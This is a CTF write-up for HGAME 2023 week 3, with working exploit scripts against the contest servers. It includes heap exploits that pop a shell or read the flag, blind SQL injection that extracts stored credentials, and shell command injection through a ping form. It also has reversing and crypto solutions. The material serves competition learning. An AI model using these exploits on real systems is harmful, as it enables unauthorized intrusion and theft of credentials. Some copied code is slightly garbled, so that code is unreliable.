

# week3-Leof

## pwn

### safe\_note

libc2.32 uaf, 泄漏key就行, 注意泄漏libc时有\x00截断, 需要多输入一个字符补上

```
from pwn import *
binary = "./vuln"
elf = ELF(binary)
libc = elf.libc
ip = 'week-3.hgame.lwsec.cn'
port = 31573
local = 0
if local:
    io = process(binary)
else:
    io = remote(ip, port)

#context.log_level = "debug"

def debug(cmd = ""):
    if cmd == "":
        gdb.attach(io)
        pause()
    else:
        gdb.attach(io, cmd)
        pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def menu(n):
    sla(b'>', str(n).encode())

def add(idx, size):
    menu(1)
    sla(b': ', str(idx).encode())
    sla(b': ', str(size).encode())

def delete(idx):
```

```

menu(2)
sla(b': ', str(idx).encode())

def edit(idx, con):
    menu(3)
    sla(b': ', str(idx).encode())
    sa(b': ', con)

def show(idx):
    menu(4)
    sla(b': ', str(idx).encode())

add(0, 0x90)
add(1, 0x80)
add(2, 0x80)
add(3, 0x10)

delete(0)
show(0)
key = u64(io.recv(5).ljust(8, b'\x00'))
lg('key')

for i in range(7):
    edit(0, p64(0) * 2)
    delete(0)
edit(0, b'a')
show(0)
libcbase = uu64() - 0x1e3c61
lg('libcbase')
free_hook = libcbase + libc.sym['__free_hook']
sys_addr = libcbase + libc.sym['system']

delete(2)
delete(1)
edit(1, p64(key ^ free_hook))
add(4, 0x80)
add(5, 0x80)
edit(5, p64(sys_addr))
edit(3, b'/bin/sh\x00')
delete(3)
ia()
#hgame{0f30b3f8f4862873ff04e343ba7cfe1bcfe2c42e}

```

## large\_note

house of banana

```

from pwn import *
binary = "./vuln"
elf = ELF(binary)
libc = elf.libc
ip = 'week-3.hgame.lwsec.cn'
port = 30531
local = 0
if local:

```

```

    io = process(binary)
else:
    io = remote(ip, port)

#context.log_level = "debug"

def debug(cmd = ""):
    if cmd == "":
        gdb.attach(io)
        pause()
    else:
        gdb.attach(io, cmd)
        pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_flags = 0xfbad1800

def menu(n):
    sla(b'>', str(n).encode())

def add(idx, size):
    menu(1)
    sla(b'Index: ', str(idx).encode())
    sla(b'Size: ', str(size).encode())

def delete(idx):
    menu(2)
    sla(b'Index: ', str(idx).encode())

def edit(idx, con):
    menu(3)
    sla(b'Index: ', str(idx).encode())
    sa(b'Content: ', con)

def show(idx):
    menu(4)
    sla(b'Index: ', str(idx).encode())

add(0, 0x528)
add(1, 0x518)
add(2, 0x518)
add(4, 0x518)

delete(0)
edit(0, b'a')

```

```

show(0)
libcbase = uu64() - 0x1e3c61
lg('libcbase')
rtld = libcbase + 0x21b040
l_next = libcbase + 0x21c790
set_context = libcbase + 0x53030 + 61
sys_addr = libcbase + 0x503c0
sh = libcbase + libc.search(b'/bin/sh').__next__()
fd = libcbase + 0x1e4030
pop_rdi = libcbase + 0x2858f
ret = libcbase + 0x26699
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
pop_rsi = libcbase + 0x2ac3f
pop_rdx_r12 = libcbase + 0x114161

edit(0, b'\x00')
add(5, 0x550)
delete(2)
edit(0, p64(fd) * 2 + p64(0) + p64(rtld - 0x20))
add(6, 0x550)
show(0)
heapbase = u64(io.recv(6).ljust(8, b'\x00')) - 0xce0
lg('heapbase')
fake_rtld = heapbase + 0xce0
flag_addr = fake_rtld + 0xc8
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heapbase + 0x10) +
p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(0) + p64(write_addr) + b'./flag'

fake_rtld_global = p64(0) + p64(l_next) + p64(0) + p64(fake_rtld)
fake_rtld_global += p64(set_context) + p64(ret)
fake_rtld_global += p64(flag_addr)
fake_rtld_global += orw
fake_rtld_global = fake_rtld_global.ljust(0xc8, b'\x00')
fake_rtld_global += p64(fake_rtld + 0x28 + 0x18)
fake_rtld_global += p64(pop_rdi)
fake_rtld_global += b'\x00' * (0x100 - len(fake_rtld_global))
fake_rtld_global += p64(fake_rtld + 0x10 + 0x110) * 3
fake_rtld_global += p64(0x10)
fake_rtld_global += b'\x00' * (0x31c - 0x10 - len(fake_rtld_global))
fake_rtld_global += p8(0x8)

edit(2, fake_rtld_global)
edit(1, b'a' * 0x510 + p64(fake_rtld + 0x20))
menu(5)
ia()
#hgame{54e491c4bb30fa3866c78f380eb4eaa0337fe3e1}

```

## note\_context

跟pwn2一样

```
from pwn import *
binary = "./vuln"
elf = ELF(binary)
libc = elf.libc
ip = 'week-3.hgame.lwsec.cn'
port = 30866
local = 0
if local:
    io = process(binary)
else:
    io = remote(ip, port)

#context.log_level = "debug"

def debug(cmd = ""):
    if cmd == "":
        gdb.attach(io)
        pause()
    else:
        gdb.attach(io, cmd)
        pause()

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
_ flags = 0xfbad1800

def menu(n):
    sla(b'>', str(n).encode())

def add(idx, size):
    menu(1)
    sla(b'Index: ', str(idx).encode())
    sla(b'Size: ', str(size).encode())

def delete(idx):
    menu(2)
    sla(b'Index: ', str(idx).encode())

def edit(idx, con):
    menu(3)
    sla(b'Index: ', str(idx).encode())
    sa(b'Content: ', con)
```

```

def show(idx):
    menu(4)
    sla(b'Index: ', str(idx).encode())

add(0, 0x528)
add(1, 0x518)
add(2, 0x518)
add(4, 0x518)

delete(0)
edit(0, b'a')
show(0)
libcbase = uu64() - 0x1e3c61
lg('libcbase')
rtld = libcbase + 0x21b040
l_next = libcbase + 0x21c790
set_context = libcbase + 0x53030 + 61
sys_addr = libcbase + 0x503c0
sh = libcbase + libc.search(b'/bin/sh').__next__()
fd = libcbase + 0x1e4030
pop_rdi = libcbase + 0x2858f
ret = libcbase + 0x26699
open_addr = libcbase + libc.sym['open']
read_addr = libcbase + libc.sym['read']
write_addr = libcbase + libc.sym['write']
pop_rsi = libcbase + 0x2ac3f
pop_rdx_r12 = libcbase + 0x114161

edit(0, b'\x00')
add(5, 0x550)
delete(2)
edit(0, p64(fd) * 2 + p64(0) + p64(rtld - 0x20))
add(6, 0x550)
show(0)
heapbase = u64(io.recv(6).ljust(8, b'\x00')) - 0xce0
lg('heapbase')
fake_rtld = heapbase + 0xce0
flag_addr = fake_rtld + 0xc8
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heapbase + 0x10) +
p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(read_addr)
orw += p64(pop_rdi) + p64(0) + p64(write_addr) + b'./flag'

fake_rtld_global = p64(0) + p64(l_next) + p64(0) + p64(fake_rtld)
fake_rtld_global += p64(set_context) + p64(ret)
fake_rtld_global += p64(flag_addr)
fake_rtld_global += orw
fake_rtld_global = fake_rtld_global.ljust(0xc8, b'\x00')
fake_rtld_global += p64(fake_rtld + 0x28 + 0x18)
fake_rtld_global += p64(pop_rdi)
fake_rtld_global += b'\x00' * (0x100 - len(fake_rtld_global))
fake_rtld_global += p64(fake_rtld + 0x10 + 0x110) * 3
fake_rtld_global += p64(0x10)

```

```

fake_rtl_d_global += b'\x00' * (0x31c - 0x10 - len(fake_rtl_d_global))
fake_rtl_d_global += p8(0x8)

edit(2, fake_rtl_d_global)
edit(1, b'a' * 0x510 + p64(fake_rtl_d + 0x20))
menu(5)
ia()

```

re

patchme

```

for ( j = 0; j <= 960; ++j )
{
    v0 = (char *)&loc_14C6 + j;
    *v0 ^= 0x66u;
}

```

|   |      |                           |                             |
|---|------|---------------------------|-----------------------------|
| .text:00000000000014C6 95                   | xchg | eax, ebp                  |                             |
| .text:00000000000014C7 69 78 9C 33 2E EF 83 | imul | edi, [rax-64h], 83EF2E33h |                             |
| .text:00000000000014CE                      | db   | 2Eh                       | ; DMA page register 74LS61; |
| .text:00000000000014CE 2E E7 8A             | out  | 8Ah, eax                  | ; Channel 7 (address bits : |
| .text:00000000000014D1 B6 64                | mov  | dh, 64h ; 'd'             |                             |
| .text:00000000000014D3                      | db   | 66h, 66h                  |                             |
| .text:00000000000014D3 66 66 02 2E          | add  | ch, [rsi]                 |                             |
| .text:00000000000014D7 ED                   | in   | eax, dx                   |                             |
| .text:00000000000014D7                      |      |                           |                             |
| .text:00000000000014D8 62                   | db   | 62h ; b                   |                             |
| .text:00000000000014D9 43                   | db   | 43h ; C                   |                             |
| .text:00000000000014DA 4E                   | db   | 4Eh ; N                   |                             |
| .text:00000000000014DB 66                   | db   | 66h ; f                   |                             |
| .text:00000000000014DC 66                   | db   | 66h ; f                   |                             |
| .text:00000000000014DD 66                   | db   | 66h ; f                   |                             |
| .text:00000000000014DE 2E                   | db   | 2Eh ; .                   |                             |
| .text:00000000000014DF EF                   | db   | 0EFh                      |                             |
| .text:00000000000014E0 23                   | db   | 23h ; #                   |                             |
| .text:00000000000014E1 9E                   | db   | 9Eh                       |                             |
| .text:00000000000014E2 57                   | db   | 57h ; W                   |                             |
| .text:00000000000014E3 A6                   | db   | 0A6h                      |                             |
| .text:00000000000014E4 ED                   | db   | 0EDh                      |                             |
| .text:00000000000014E5 63                   | db   | 63h ; c                   |                             |
| .text:00000000000014E6 58                   | db   | 58h ; X                   |                             |
| .text:00000000000014E7 4D                   | db   | 4Dh ; M                   |                             |
| .text:00000000000014E8 66                   | db   | 66h ; f                   |                             |
| .text:00000000000014E9 66                   | db   | 66h ; f                   |                             |
| .text:00000000000014EA E5                   | db   | 0E5h                      |                             |
| .text:00000000000014EB 9E                   | db   | 9Eh                       |                             |
| .text:00000000000014EC 67                   | db   | 67h ; g                   |                             |
| .text:00000000000014ED 69                   | db   | 69h ; i                   |                             |
| .text:00000000000014EE E9                   | db   | 0E9h                      |                             |
| .text:00000000000014EF 18                   | db   | 18h                       |                             |
| ..  |      |                           |                             |

把这段代码恢复出来

idapython

```

import ida_bytes

s=0x14c6
for i in range(961):
    ida_bytes.patch_byte(s+i,ida_bytes.get_byte(s+i)^0x66)

```

```
from pwn import *

data_ = [0x5416D999808A28FA, 0x588505094953B563, 0xCE8CF3A0DC669097,
0x4C5CF3E854F44CBD, 0xD144E49916678331, 0x55BBD0DA616BAC]

key = [0x3B4FA2FCEDEB4F92, 0x7E45A6C3B67EA16, 0xAFE1ACC8BF12D0E7,
0x132EC3B7269138CE, 0x8E2197EB7311E643, 0x28C9B5AE540AC1]

flag = b""

for i in range(len(data_)):
    flag += p64(data_[i] ^ key[i])

print(flag)

#hgame{You_4re_a_p@tch_master_0r_reverse_ma5ter}
```

**kunmusic**

dnspy反编译kmusic.dll xor解密非音频格式的资源文件 得到一个新的.net文件 再反编译得到生成flag的逻辑 先用z3求解 再生成flag

```

1 private static void Main()
2 {
3     ApplicationConfiguration.Initialize();
4     byte[] data = Resources.data;
5     for (int i = 0; i < data.Length; i++)
6     {
7         byte[] array = data;
8         int num = i;
9         array[num] ^= 104;
10    }
11    Activator.CreateInstance(Assembly.Load(data).GetType("WinFormsLibrary1.Class1"), new object[]
12    {
13        Program.form1
14    });
15    Application.Run(Program.form1);
16 }

```





```

s.add(num[i] >= 0)
s.add(num[i] < 256)

s.add(num[0] + 52296 + num[1] - 26211 + num[2] - 11754 + (num[3] ^ 41236) +
num[4] * 63747 + num[5] - 52714 + num[
    6] - 10512 + num[7] * 12972 + num[8] + 45505 + num[9] - 21713 + num[10] -
59122 + num[11] - 12840 + (
    num[12] ^ 21087) == 12702282)

s.add(num[0] - 25228 + (num[1] ^ 20699) + (num[2] ^ 8158) + num[3] - 65307 +
num[4] * 30701 + num[5] * 47555 + num[
    6] - 2557 + (num[7] ^ 49055) + num[8] - 7992 + (num[9] ^ 57465) + (num[10] ^
57426) + num[11] + 13299 + num[
    12] - 50966 == 9946829)

s.add(num[0] - 64801 + num[1] - 60698 + num[2] - 40853 + num[3] - 54907 + num[4]
+ 29882 + (num[5] ^ 13574) + (
    num[6] ^ 21310) + num[7] + 47366 + num[8] + 41784 + (num[9] ^ 53690)
+ num[10] * 58436 + num[11] * 15590 +
    num[12] + 58225 == 2372055)

s.add(num[0] + 61538 + num[1] - 17121 + num[2] - 58124 + num[3] + 8186 + num[4] +
21253 + num[5] - 38524 + num[
    6] - 48323 + num[7] - 20556 + num[8] * 56056 + num[9] + 18568 + num[10] +
12995 + (num[11] ^ 39260) + num[
    12] + 25329 == 6732474)

s.add(num[0] - 42567 + num[1] - 17743 + num[2] * 47827 + num[3] - 10246 + (num[4]
^ 16284) + num[5] + 39390 + num[
    6] * 11803 + num[7] * 60332 + (num[8] ^ 18491) + (num[9] ^ 4795) + num[10] -
25636 + num[11] - 16780 + num[
    12] - 62345 == 14020739)

s.add(num[0] - 10968 + num[1] - 31780 + (num[2] ^ 31857) + num[3] - 61983 +
num[4] * 31048 + num[5] * 20189 + num[
    6] + 12337 + num[7] * 25945 + (num[8] ^ 7064) + num[9] - 25369 + num[10] -
54893 + num[11] * 59949 + (
    num[12] ^ 12441) == 14434062)

s.add(num[0] + 16689 + num[1] - 10279 + num[2] - 32918 + num[3] - 57155 + num[4]
* 26571 + num[5] * 15086 + (
    num[6] ^ 22986) + (num[7] ^ 23349) + (num[8] ^ 16381) + (num[9] ^
23173) + num[10] - 40224 + num[
    11] + 31751 + num[12] * 8421 == 7433598)

s.add(num[0] + 28740 + num[1] - 64696 + num[2] + 60470 + num[3] - 14752 + (num[4]
^ 1287) + (num[5] ^ 35272) + num[
    6] + 49467 + num[7] - 33788 + num[8] + 20606 + (num[9] ^ 44874) + num[10] *
19764 + num[11] + 48342 + num[
    12] * 56511 == 7989404)

s.add((num[0] ^ 28978) + num[1] + 23120 + num[2] + 22802 + num[3] * 31533 +
(num[4] ^ 39287) + num[5] - 48576 + (
    num[6] ^ 28542) + num[7] - 43265 + num[8] + 22365 + num[9] + 61108 +
num[10] * 2823 + num[11] - 30343 + num[

```

```

12] + 14780 == 3504803)

s.add(num[0] * 22466 + (num[1] ^ 55999) + num[2] - 53658 + (num[3] ^ 47160) +
(num[4] ^ 12511) + num[5] * 59807 + num[
    6] + 46242 + num[7] + 3052 + (num[8] ^ 25279) + num[9] + 30202 + num[10] *
22698 + num[11] + 33480 + (
    num[12] ^ 16757) == 11003580)

s.add(num[0] * 57492 + (num[1] ^ 13421) + num[2] - 13941 + (num[3] ^ 48092) +
num[4] * 38310 + num[5] + 9884 + num[
    6] - 45500 + num[7] - 19233 + num[8] + 58274 + num[9] + 36175 + (num[10] ^
18568) + num[11] * 49694 + (
    num[12] ^ 9473) == 25546210)

s.add(num[0] - 23355 + num[1] * 50164 + (num[2] ^ 34618) + num[3] + 52703 +
num[4] + 36245 + num[5] * 46648 + (
    num[6] ^ 4858) + (num[7] ^ 41846) + num[8] * 27122 + (num[9] ^ 42058)
+ num[10] * 15676 + num[11] - 31863 +
    num[12] + 62510 == 11333836)

s.add(num[0] * 30523 + (num[1] ^ 7990) + num[2] + 39058 + num[3] * 57549 +
(num[4] ^ 53440) + num[5] * 4275 + num[
    6] - 48863 + (num[7] ^ 55436) + (num[8] ^ 2624) + (num[9] ^ 13652) + num[10]
+ 62231 + num[11] + 19456 + num[
    12] - 13195 == 13863722)

print(s.check())
print(s.model())
'''

sat
[flag[2] = 213,
 flag[12] = 133,
 flag[4] = 189,
 flag[11] = 93,
 flag[0] = 236,
 flag[7] = 53,
 flag[9] = 199,
 flag[3] = 106,
 flag[8] = 120,
 flag[6] = 62,
 flag[5] = 86,
 flag[1] = 72,
 flag[10] = 15]
'''

```

```

data = [132, 47, 180, 7, 216, 45, 68, 6, 39, 246, 124, 2, 243, 137, 58, 172, 53,
200, 99, 91, 83, 13, 171, 80, 108, 235,
    179, 58, 176, 28, 216, 36, 11, 80, 39, 162, 97, 58, 236, 130, 123, 176,
24, 212, 56, 89, 72]

flag = [0] * 13

flag[2] = 213
flag[12] = 133
flag[4] = 189

```

```

flag[11] = 93
flag[1] = 72
flag[7] = 53
flag[9] = 199
flag[3] = 106
flag[8] = 120
flag[6] = 62
flag[5] = 86
flag[10] = 15
flag[0] = 236

for i in range(len(data)):
    print(chr(data[i] ^ flag[i % len(flag)]), end='')
#hgame{z3_1s_very_u5eful_1n_rever5e_engin3ering}

```

## cpp

几个关键函数地址在栈中 因此需要动态调试单步跟进去 有很明显的chacha20特征

```

27 | }
28 | v4 = v6;
29 | (*(void (__fastcall **)(char *)))(*(QWORD *)v6 + 16i64))(v6); // chacha20_init_state
30 | (**(void (__fastcall **)(char *))v4)(v4);
31 | if ( (* (unsigned __int8 (__fastcall **)(char *)))(*(QWORD *)v4 + 48i64))(v4) )
32 |     sub_7FF7D3AE4570(std::cout, "yes!");
33 | else
34 |     sub_7FF7D3AE4570(std::cout, "try again...");
35 | sub_7FF7D3AE3F10((__int64)input);

```

上图第一个下断点的函数是chacha20加密的一部分

第二个下断点的函数是check 里面有密文 提取出来

```

28 50 C1 23 98 A1 41 36 4C 31 CB 52 90 F1 AC CC
0F 6C 2A 89 7F DF 11 84 7F E6 A2 E0 59 C7 C5 46
5D 29 38 93 ED 15 7A FF

```

因为是流密码 只要把input改成output 就能让他自吐flag出来 这里说的output指的就是密文

最恶心的地方来了 因为是movsx 然后密文中又有最高bit位为1的字节

输入每4bytes读 所以密文作为输入会改变最后的结果 因此我需要修改10轮eax的值 让movsx不生效

```

2850C123
98A14136
4C31CB52
90F1ACCC
0F6C2A89
7FDF1184
7FE6A2E0
59C7C546
5D293893
ED157AFF

```

```

.text:00007FF7D3AE2AA0 mov     [rsp+138h+var_48], rax
.text:00007FF7D3AE2AA8 ; 76:     v5 = *v28 + (*v27 << 8) + (*v26 << 16) + (*v25 << 24);
.text:00007FF7D3AE2AA8 mov     rax, [rsp+138h+var_60]
.text:00007FF7D3AE2AB0 movsx   eax, byte ptr [rax]
.text:00007FF7D3AE2AB3 shl     eax, 18h
.text:00007FF7D3AE2AB6 mov     rcx, [rsp+138h+var_58]
.text:00007FF7D3AE2ABE movsx   ecx, byte ptr [rcx]
.text:00007FF7D3AE2AC1 shl     ecx, 10h
.text:00007FF7D3AE2AC4 add     eax, ecx
.text:00007FF7D3AE2AC6 mov     rcx, [rsp+138h+var_50]
.text:00007FF7D3AE2ACE movsx   ecx, byte ptr [rcx]
.text:00007FF7D3AE2AD1 shl     ecx, 8
.text:00007FF7D3AE2AD4 add     eax, ecx
.text:00007FF7D3AE2AD6 mov     rcx, [rsp+138h+var_48]
.text:00007FF7D3AE2ADE movsx   ecx, byte ptr [rcx]
.text:00007FF7D3AE2AE1 add     eax, ecx
.text:00007FF7D3AE2AE3 mov     [rsp+138h+var_4C], eax

```

调试完去check函数看v8内容 v8存的是地址 去那个地址可以看到flag

```

12  v4 = a1;
13  v7 = a1[1] - *a1;
14  v5 = a2;
15  v6 = a2[1] - *a2;
16  if ( v7 != v6 )
17      return 0;
18  v8 = *a2;
19  v9 = a1[1];
20  v10 = *a1;
21  memset(v3, 0, 1ui64);
22  return sub_7FF7D3AE7710(v10, v9, v8);
23 }

```

```

001E14DFD5D9C db  2Ch ; ,
001E14DFD5D9D db   8
001E14DFD5D9E db   0
001E14DFD5D9F db  36h ; 6
001E14DFD5DA0 aHgameCpp1sMuch db 'hgame{Cpp_1s_much_m0r3_d1ff1cult_th4n_C}'
001E14DFD5DC8 db  0EEh
001E14DFD5DC9 db  0FEh
001E14DFD5DCA db  0ABh
001E14DFD5DCB db  0ABh
001E14DFD5DCC db  0ABh
001E14DFD5DCD db  0ABh
001E14DFD5DCE db  0ABh
001E14DFD5DCF db  0ABh

```

```
hgame{Cpp_1s_much_m0r3_d1ff1cult_th4n_C}
```

## web

### Login To Get My Gift

布尔盲注，绕过过滤的方法在网上慢慢搜就能搜到

库名

```

for i in range(11):
    for j in range(33, 127):
        payload = "1'^ (ascii(right((select/**/database()),
{0}))in({1}))#".format(i,j)
        data = {
            "username": payload
        }
        reps = requests.post(url, data=data)
        result = reps.text
        if "Success" in result:
            result1 += chr(j)
            print(result1)
            break

#L0g1NMe

```

表名

```

for i in range(20):
    for j in range(33, 127):
        payload =
"1'^ (select(ascii(right((select(table_name)from(information_schema.tables)where(t
able_schema)regexp('^L0g1NMe')),{0})))in({1}))#".format(i, j)
        data = {
            "username": payload
        }
        reps = requests.post(url, data=data)
        result = reps.text
        if "Success" in result:
            result1 += chr(j)
            print(result1[::-1])
            break

#User1nf0mAt1on

```

字段

```

for i in range(50):
    for j in range(33, 127):
        payload =
"1'^ (select(ascii(right(((select(group_concat(column_name))from(information_schem
a.columns)where(table_name)regexp('^User1nf0mAt1on'))),{0})))in({1}))#".format(i,
j)
        data = {
            "username": payload
        }
        reps = requests.post(url, data=data)
        result = reps.text
        if "Success" in result:
            result1 += chr(j)
            print(result1[::-1])
            break

#id,UsErN4me,PAssw0rD

```

用户名

```

for i in range(50):
    for j in range(33, 127):
        payload =
        "1'^(select(ascii(right(((select(group_concat(UsErN4me))from(L0g1NMe.User1nf0mAt1
on))),{0})))in({1}))#" .format(i, j)
        #print(payload)
        data = {
            "username": payload
        }
        reps = requests.post(url, data=data)
        result = reps.text
        #print(result)
        if "Success" in result:
            result1 += chr(j)
            print(result1[::-1])
            break''
#hgAmE2023HAppYnEwyEAr,testuser

```

密码

```

for i in range(50):
    for j in range(33, 127):
        payload =
        "1'^(select(ascii(right(((select(group_concat(PAssw0rD))from(L0g1NMe.User1nf0mAt1
on))),{0})))in({1}))#" .format(i, j)
        #print(payload)
        data = {
            "username": payload
        }
        reps = requests.post(url, data=data)
        result = reps.text
        #print(result)
        if "Success" in result:
            result1 += chr(j)
            print(result1[::-1])
            break
#WeLc0meT0hgAmE2023hAPPySql,testpassword

```

登陆访问home目录拿到flag

```
hgame{It_1s_1n7EresT1nG_T0_ExPL0Re_Var10us_Ways_To_Sql1njEct1on}
```

## Gopher Shop

```

user.Days -= 1
user.Inventory += uint(number)
user.Balance += uint(number) * price
err = db.UpdateUserInfo(user)

```

购买之后扣除余额这里一眼整数溢出

买1844674407370955162个苹果，乘10之后就变成4了

| Product | Number              | Operations |
|---------|---------------------|------------|
| Apple   | 1844674407370955300 | Sell       |

重复这个过程，金币刷到足够买flag就行

✅ hgame{GopherShop\_M@gic\_1nt\_0verflow}

hgame{GopherShop\_M@gic\_1nt\_0verflow}

## Ping To The Host

可以命令执行但是只能看到命令是否执行成功或者失败，网上找到文章都说用curl外带，反正我是没搞明白那个咋玩，最后是用grep逐字符比较的

flag比较长，脚本要运行很久

```
import requests

url = "http://week-3.hgame.lwsec.cn:32354/post"

dic = "?!_@0123456789}{ABCDEFGHIJKLMNQPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"

flag = "hgame{"

while 1:
    for i in dic:
        payload = "127.0.0.1|nl${IFS}}/f*|grep${IFS}}{0}".format(flag + i)
        #print(payload)
        data = {
            "ip": payload,
        }
        reps = requests.post(url, data=data)
        if "Success" in reps.text:
            flag += i
            break
    print(flag)
    if "}" in flag:
        break
#hgame{p1nG_t0_ComM4nD_ExecUt1on_dAngErRrRrRrR!}
```

## Misc

## Tunnel



```
→ misc strings tunnel.pcapng | grep "hgame"  
hgame{ikev1_may_not_safe_aw987rtgh}  
hgame{ikev1_may_not_safe_aw987rtgh}  
hgame{ikev1_may_not_safe_aw987rtgh}  
hgame{ikev1_may_not_safe_aw987rtgh}  
→ misc
```

```
hgame{ikev1_may_not_safe_aw987rtgh}
```

## 3ctu4\_card\_problem

图片分类，宝可梦为0,游戏王为1

在github上找到一个叫imageai的项目

<https://github.com/OlafenwaMoses/ImageAI>

跟着文档安装然后训练模型就行，还挺好用的

训练模型

```
from imageai.Classification.Custom import ClassificationModelTrainer  
model_trainer = ClassificationModelTrainer()  
model_trainer.setModelTypeAsResNet50()  
model_trainer.setDataDirectory("misc3")  
model_trainer.trainModel(num_experiments=100, batch_size=32)
```

exp

```
from pwn import *  
import base64  
import zipfile  
from imageai.Classification.Custom import CustomImageClassification  
import os  
  
io = remote("week-3.hgame.lwsec.cn", 30591)  
  
io.sendlineafter(b'continue...', b'Leof')  
payload = io.recvuntil(b">", drop=True)  
payload = base64.b64decode(payload.decode())  
  
with open("test5.zip", "wb+") as f:  
    f.write(payload)  
  
f = zipfile.ZipFile("./test5.zip", 'r') # 压缩文件位置  
for file in f.namelist():  
    f.extract(file, "./test5/") # 解压位置  
f.close()  
  
execution_path = os.getcwd()  
  
prediction = CustomImageClassification()  
prediction.setModelTypeAsMobileNetV2()  
prediction.setModelPath("./mobilenet_v2-misc3-test_acc_0.99160_epoch-26.pt")
```

```

prediction.setJsonPath("./misc3_model_classes.json")
prediction.loadModel()

#predictions, probabilities =
prediction.classifyImage(os.path.join(execution_path, "7.png"), result_count=2)

result = b""
for i in range(100):
    path = "./test5/{0}.png".format(i)
    predictions, probabilities = prediction.classifyImage(path, result_count=2)
    if predictions[0] == "ygo":
        result += b"1"
    else:
        result += b"0"

#print(result)
io.sendline(result)
io.interactive()
#hgame{ef697c5a9f267c2bd6859c6f93f265e8482f43e2}

```

```

→ misc python3 exp.py
/home/leof/.local/lib/python3.10/site-packages/torchvision
warnings.warn(
/home/leof/.local/lib/python3.10/site-packages/torchvision
. The current behavior is equivalent to passing `weights=
warnings.warn(msg)
/home/leof/.local/lib/python3.10/site-packages/torchvision
to keep the old behavior (which leads to long initializat
warnings.warn(
[+] Opening connection to week-3.hgame.lwsec.cn on port 3
[*] Switching to interactive mode
hgame{ef697c5a9f267c2bd6859c6f93f265e8482f43e2}

[*] Got EOF while reading in interactive
$

```

## crypto

### ezDH

加解密流程不难看懂，关键点在于N-1光滑，可以用pohlig-hellman求出私钥，这样可以把share\_secret求出，后面就是代入点运算了

```

#sage
from Crypto.Util.number import *
# Baby-step Giant-step法
def babystep_giantstep(g, y, p, q=None):
    if q is None:
        q = p - 1
    m = int(q**0.5 + 0.5)
    # Baby step
    table = {}
    gr = 1 # g^r
    for r in range(m):
        table[gr] = r

```

```

        gr = (gr * g) % p
    # Giant step
    try:
        gm = pow(g, -m, p) # gm = g^{-m}
    except:
        return None
    ygqm = y # ygqm = y * g^{-qm}
    for q in range(m):
        if ygqm in table:
            return q * m + table[ygqm]
        ygqm = (ygqm * gm) % p
    return None

# Pohlig-Hellman法
def pohlig_hellman_DLP(g, y, p):
    crt_moduli = []
    crt_remain = []
    for q,e in factor(p-1):
        q = q ** e
        x = babystep_giantstep(pow(g, (p-1)//q, p), pow(y, (p-1)//q, p), p, q)
        if (x is None) or (x <= 1):
            continue
        crt_moduli.append(q)
        crt_remain.append(x)
    x = crt(crt_remain, crt_moduli)
    return x

g = 2
A =
0x22888b5ac1e2f490c55d0891f39aab63f74ea689aa3da3e8fd32c1cd774f7ca79538833e9348aeb
fc8eba16e850bbb94c35641c2e7e7e8cb76032ad068a83742dbc0a1ad3f3bef19f8ae6553f39d8771
d43e5f2fcb986bd72459456d073e70d5be4d79ce5f10f76edea01492f11b807ebff0faf6819d62a8e
972084e1ed5dd6e0152df2b0477a42246bbaa04389abf639833
B =
0x1889c9c65147470fdb3ad3cf305dc3461d1553ee2ce645586cf018624fc7d8e566e04d416e684c0
c379d5819734fd4a09d80add1b3310d76f42fcb1e2f5aac6bcbdd285589b3c2620342defb73464209
130adbd3a444b253fc648b40f0acec7493adcb3be3ee3d71a00a2b121c65b06769aada82cd1432a62
70e84f7350cd61dddc17fe14de54ab436f41b9c9a0430510dde
N =
0x2be227c3c0e997310bc6dad4ccfeec793dca4359aef966217a88a27da31ffbcd6bb271780d8ba89
e3cf202904efde03c59fef3e362b12e5af5afe8431cde31888211d72cc1a00f7c92cb6adb17ca909c
3b84fcd66ac3be724fbcbe13d83bbd3ad50c41a79fcd04c251be61c0749ea497e65e408dac4bbcb
3148db4ad9ca0aa4ee032f2a4d6e6482093aa7133e5b1800001
p =
686479766013060971498190079908139321726943530014330540939446345918554318339765605
2122559640661454554977296311391480858037121987999716643812574028291115057151
a = -3
b=1093849038073734274511112390766805569936207598951683748994586394495953116150735
016013708737573759623248592132296706313309438452531591012912142327488478985984
E = EllipticCurve(GF(p), [a, b])
G =
E(6205877918333770287323403670543661734129170085954198767820861962261174202646976
379181735257759867760655835711845144326470613882395445975482219869828210975915,
347535195690904481213026691458719989524886744966929002176412687027169299516020186
0564302206748373950979891071705183465400186006709376501382325624851012261206)

```

```

Pa =
E(2131916734759224323822132103713450942372127857975491448998753734796387810139407
